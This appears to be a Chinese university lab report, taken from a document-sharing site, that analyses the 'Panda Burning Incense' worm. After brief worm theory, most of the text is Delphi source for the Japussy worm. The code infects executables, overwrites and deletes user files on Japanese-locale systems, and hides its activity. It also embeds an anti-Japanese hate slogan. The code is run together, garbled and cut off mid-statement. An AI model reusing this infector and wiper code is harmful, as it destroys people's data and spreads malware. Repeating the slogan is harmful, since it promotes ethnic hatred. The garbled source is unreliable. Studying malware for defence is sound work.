信息安全熊猫烧香病毒剖析.docx
- 文档编号:4929298
- 上传时间:2022-12-11
- 格式:DOCX
- 页数:37
- 大小:1.45MB
信息安全熊猫烧香病毒剖析.docx
《信息安全熊猫烧香病毒剖析.docx》由会员分享,可在线阅读,更多相关《信息安全熊猫烧香病毒剖析.docx(37页珍藏版)》请在冰豆网上搜索。
信息安全熊猫烧香病毒剖析
《网络攻击与防御》
实验报告
计算机科学与技术学院
计算机系网络教研室制
课程名称:
信息安全原理与实践
实验名称:
熊猫烧香病毒剖析
实验成绩:
实验报告撰写要求
实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性、规性、正确性、有效性。
现将实验报告撰写的有关容说明如下:
1、实验报告模板为电子版。
2、下载统一的实验报告模板,学生自行完成撰写和打印。
报告的首页包含本次实验的一般信息:
●组号:
例如:
2-5表示第二班第5组。
●实验日期:
例如:
05-10-06表示本次实验日期。
(年-月-日)……
●实验编号:
例如:
No.1表示第一个实验。
●实验时间:
例如:
2学时表示本次实验所用的时间。
实验报告正文部分,从六个方面(目的、容、步骤等)反映本次实验的要点、要求以及完成过程等情况。
模板已为实验报告正文设定统一格式,学生只需在相应项填充即可。
续页不再需要包含首页中的实验一般信息。
3、实验报告正文部分具体要求如下:
一、实验目的
1)掌握熊猫烧香病毒的工作原理和感染方法;
2)掌握手工清除熊猫病毒的基本方法。
二、实验环境
目标主机为windows-2003
所用到的工具
oWsyscheck
oFilemon
三、实验容与实验要求
蠕虫原理
1)蠕虫定义
2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。
这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。
蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其他的计算机系统中(通常是经过网络连接)。
请注意,与一般病毒不同,蠕虫不需要将其自身附着到宿主程序,有两种类型的蠕虫:
主机蠕虫与网络蠕虫。
主计算机蠕虫完全包含在它们运行的计算机中,并且使用网络的连接仅将自身拷贝到其他的计算机中,主计算机蠕虫在将其自身的拷贝加入到另外的主机后,就会终止它自身(因此在任意给定的时刻,只有一个蠕虫的拷贝运行),这种蠕虫有时也叫"野兔"。
蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机的文件系统而言,而蠕虫病毒的传染目标是互联网的所有计算机。
局域网条件下的共享文件夹,电子email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。
蠕虫和传统病毒的区别:
∙传统病毒主要攻击的是文件系统,在其传染的过程中,计算机使用者是传染的触发者,是传染的关键环节,使用者计算机知识水平的高低常常决定了传统病毒所能造成的破坏程度;
∙蠕虫主要是利用计算机系统漏洞进行传染,在搜索到网络中存在漏洞的计算机后,主动进行攻击。
在传染的过程中,与计算机操作者是否进行操作无关,从而与使用者的计算机知识水平无关。
2)蠕虫的基本程序结构
∙传播模块:
负责蠕虫的传播,通过检查主机或远程计算机的地址库,找到可进一步传染的其他计算机。
∙隐藏模块:
侵入主机后,隐藏蠕虫程序,防止被用户发现。
∙目的功能模块:
实现对计算机的控制、监视或破坏等功能。
传播模块由可以分为三个基本模块:
扫描模块、攻击模块和复制模块。
蠕虫程序功能模型也可以扩展为如下的形式:
3)蠕虫程序的一般传播过程
∙扫描:
由蠕虫的扫描功能模块负责探测存在漏洞的主机。
当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。
∙攻击:
攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权限),获得一个shell。
∙复制:
复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。
蠕虫将自身复制到某台计算机之前,也会试图判断该计算机以前是都已被感染过。
在分布式系统中,蠕虫可能会以系统程序名或不易被操作系统察觉的名字来为自己命名,从而伪装自己。
同时,我们也可以看到,传播模块实现的实际上是自动入侵的功能。
所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就谈不上什么蠕虫技术了。
“熊猫烧香”蠕虫病毒
1)“熊猫烧香”档案
又名:
尼亚姆、男生、worm.whBoy、worm.nimaya
后又化身为:
“金猪报喜”
病毒类型:
蠕虫病毒
影响系统:
Windows9X/ME/NT/2000/XP/2003/Vista/7
2)“熊猫烧香”病毒特点
2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账号、QQ账号等功能。
该病毒传播速度快,危害围广,截至案发为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破坏,引起社会各界高度关注。
《瑞星2006安全报告》将其列为十大病毒之首,在《2006年度中国计算机病毒疫情和互联网安全报告》的十大病毒排行中一举成为“毒王”。
“熊猫烧香”,是一个感染型的蠕虫病毒,它能感染系统中exe,,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。
被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
“熊猫烧香”源码分析
含有病毒体的文件被运行后,病毒将自身复制至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个Autorun.inf文件,使得用户打开该磁盘时激活病毒体。
随后病毒体创建一个线程进行本地文件感染,同时创建另外一个线程连接下载DOS程序发动恶意攻击。
下面,我们分析一下用delphi语言描述的“熊猫烧香”的主要源代码:
programJapussy;
uses
Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry};
const
HeaderSize=82432;//病毒体的大小
IconOffset=$12EB8;//PE文件主图标的偏移量
//查找2800000020的十六进制字符串可以找到主图
//标的偏移量
{
HeaderSize=38912;//Upx压缩过病毒体的大小
IconOffset=$92BC;//Upx压缩过PE文件主图标的偏移量
//Upx1.24W用法:
upx-9--8086Japussy.exe
}
IconSize=$2E8;//PE文件主图标的大小--744字节
IconTail=IconOffset+IconSize;//PE文件主图标的尾部
ID=$44444444;//感染标记
//垃圾码,以备写入
Catchword='Ifaraceneedtobekilledout,itmustbeYamato.'+
'Ifacountryneedtobedestroyed,itmustbeJapan!
'+
'***W32.Japussy.Worm.A***';
{$R*.RES}
functionRegisterServiceProcess(dwProcessID,dwType:
Integer):
Integer;
stdcall;external'Kernel32.dll';//函数声明
var
TmpFile:
string;
Si:
STARTUPINFO;
Pi:
PROCESS_INFORMATION;
IsJap:
Boolean=False;//日文操作系统标记
{===============判断是否为Win9x================}
functionIsWin9x:
Boolean;
var
Ver:
TOSVersionInfo;
begin
Result:
=False;
Ver.dwOSVersionInfoSize:
=SizeOf(TOSVersionInfo);
ifnotGetVersionEx(Ver)then
Exit;
if(Ver.dwPlatformID=VER_PLATFORM_WIN32_WINDOWS)then//Win9x
Result:
=True;
end;
{=======================在流之间复制========================}
procedureCopyStream(Src:
TStream;sStartPos:
Integer;Dst:
TStream;
dStartPos:
Integer;Count:
Integer);
var
sCurPos,dCurPos:
Integer;
begin
sCurPos:
=Src.Position;
dCurPos:
=Dst.Position;
Src.Seek(sStartPos,0);
Dst.Seek(dStartPos,0);
Dst.CopyFrom(Src,Count);
Src.Seek(sCurPos,0);
Dst.Seek(dCurPos,0);
end;
{==========将宿主文件从已感染的PE文件中分离出来,以备使用======}
procedureExtractFile(FileName:
string);
var
sStream,dStream:
TFileStream;
begin
try
sStream:
=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);
try
dStream:
=TFileStream.Create(FileName,fmCreate);
try
sStream.Seek(HeaderSize,0);//跳过头部的病毒部分
dStream.CopyFrom(sStream,sStream.Size-HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{===================填充STARTUPINFO结构==================}
procedureFillStartupInfo(varSi:
STARTUPINFO;State:
Word);
begin
Si.cb:
=SizeOf(Si);
Si.lpReserved:
=nil;
Si.lpDesktop:
=nil;
Si.lpTitle:
=nil;
Si.dwFlags:
=STARTF_USESHOWWINDOW;
Si.wShowWindow:
=State;
Si.cbReserved2:
=0;
Si.lpReserved2:
=nil;
end;
{======================发带毒====================}
procedureSendMail;//此处省略了带危害性代码
begin
end;
{======================感染PE文件====================}
procedureInfectOneFile(FileName:
string);
var
HdrStream,SrcStream:
TFileStream;
IcoStream,DstStream:
TMemoryStream;
iID:
LongInt;
aIcon:
TIcon;
Infected,IsPE:
Boolean;
i:
Integer;
Buf:
array[0..1]ofChar;
begin
try//出错则文件正在被使用,退出
ifCompareText(FileName,'JAPUSSY.EXE')=0then//是自己则不感染
Exit;
Infected:
=False;
IsPE:
=False;
SrcStream:
=TFileStream.Create(FileName,fmOpenRead);
try
fori:
=0to$108do//检查PE文件头
begin
SrcStream.Seek(i,soFromBeginning);
SrcStream.Read(Buf,2);
if(Buf[0]=#80)and(Buf[1]=#69)then//PE标记
begin
IsPE:
=True;//是PE文件
Break;
end;
end;
SrcStream.Seek(-4,soFromEnd);//检查感染标记
SrcStream.Read(iID,4);
if(iID=ID)or(SrcStream.Size<10240)then//太小的文件不感染
Infected:
=True;
finally
SrcStream.Free;
end;
ifInfectedor(notIsPE)then//如果感染过了或不是PE文件则退出
Exit;
IcoStream:
=TMemoryStream.Create;
DstStream:
=TMemoryStream.Create;
try
aIcon:
=TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle:
=ExtractIcon(HInstance,PChar(FileName),0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream:
=TFileStream.Create(FileName,fmOpenRead);
//头文件
HdrStream:
=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream,0,DstStream,0,IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream,22,DstStream,IconOffset,IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream,IconTail,DstStream,IconTail,HeaderSize-IconTail);
//写入宿主程序
CopyStream(SrcStream,0,DstStream,HeaderSize,SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0,2);
iID:
=$44444444;
DstStream.Write(iID,4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName);//替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{===================将目标文件写入垃圾码后删除==================}
procedureSmashFile(FileName:
string);
var
FileHandle:
Integer;
i,Size,Mass,Max,Len:
Integer;
begin
try
SetFileAttributes(PChar(FileName),0);//去掉只读属性
FileHandle:
=FileOpen(FileName,fmOpenWrite);//打开文件
try
Size:
=GetFileSize(FileHandle,nil);//文件大小
i:
=0;
Randomize;
Max:
=Random(15);//写入垃圾码的随机次数
ifMax<5then
Max:
=5;
Mass:
=SizedivMax;//每个间隔块的大小
Len:
=Length(Catchword);
whilei begin FileSeek(FileHandle,i*Mass,0);//定位 //写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle,Catchword,Len); Inc(i); end; finally FileClose(FileHandle);//关闭文件 end; DeleteFile(PChar(FileName));//删除之 except end; end; {====================获得可写的驱动器列表==================} functionGetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin fori: =0to25do//遍历26个字母 begin D: =Chr(i+65); Str: =D+': \'; DiskType: =GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if(DiskType=DRIVE_FIXED)or(DiskType=DRIVE_REMOTE)then Result: =Result+D; end; end; {====================遍历目录,感染和摧毁文件===================} procedureLoopFiles(Path,Mask: string); var i,Count: Integer; Fn,Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; functionIsValidDir(SearchRec: TSearchRec): Integer; begin if(SearchRec.Attr<>16)and(SearchRec.Name<>'.')and (SearchRec.Name<>'..')then Result: =0//不是目录 elseif(SearchRec.Attr=16)and(SearchRec.Name<>'.')and (SearchRec.Name<>'..')then Result: =1//不是根目录 elseResult: =2;//是根目录 end; begin if(FindFirst(Path+Mask,faAnyFile,SearchRec)=0)then begin repeat PeekMessage(Msg,0,0,0,PM_REMOVE);//调整消息队列,避免引起怀疑 ifIsValidDir(SearchRec)=0then begin Fn: =Path+SearchRec.Name; Ext: =UpperCase(ExtractFileExt(Fn)); if(Ext='.EXE')or(Ext='.SCR')then begin InfectOneFile(Fn);//感染可执行文件 end elseif(Ext='.HTM')or(Ext='.HTML')or(Ext='.ASP')then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户 end elseifExt='.WAB'then//Outlook地址簿文件 begin //获取Outlook地址 end elseifExt='.ADC'then//Foxmail地址自动完成文件 begin //获取Foxmail地址 end elseifExt='IND'then//Foxmail地址簿文件 begin //获取Foxmail地址 end else begin ifIsJapthen begin if(Ext='.DOC')or(Ext='.XLS')or(Ext='.MDB')or (Ext='.MP3')or(Ext='.RM')or(Ext='.RA')or (Ext='.WMA')or(Ext='.ZIP')or(Ext='.RAR')or (Ext='.MPEG')or(Ext='.ASF')or(Ext='.JPG')or (Ext='.JPEG')or(Ext='.GIF')or(Ext='.SWF')or (Ext='.PDF')or(Ext='.CHM')or(Ext='.AVI')then SmashFile(Fn);//摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until(FindNext(SearchRec)<>0); end; FindClose(SearchRec); SubDir: =TStringList.Create; if(FindFirst(Path+'*.*',faDirectory,SearchRec)=0)then begin repeat ifIsValidDir(SearchRec)=1then SubDir.Add(SearchRec.Name); until(FindNext(SearchRec)<>0); end; FindClose(SearchRec); Count: =SubDir.Count-1; fori: =0toCountdo LoopFiles(Path+SubDir.Strings+'\',Mask
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 信息 安全 熊猫 烧香 病毒 剖析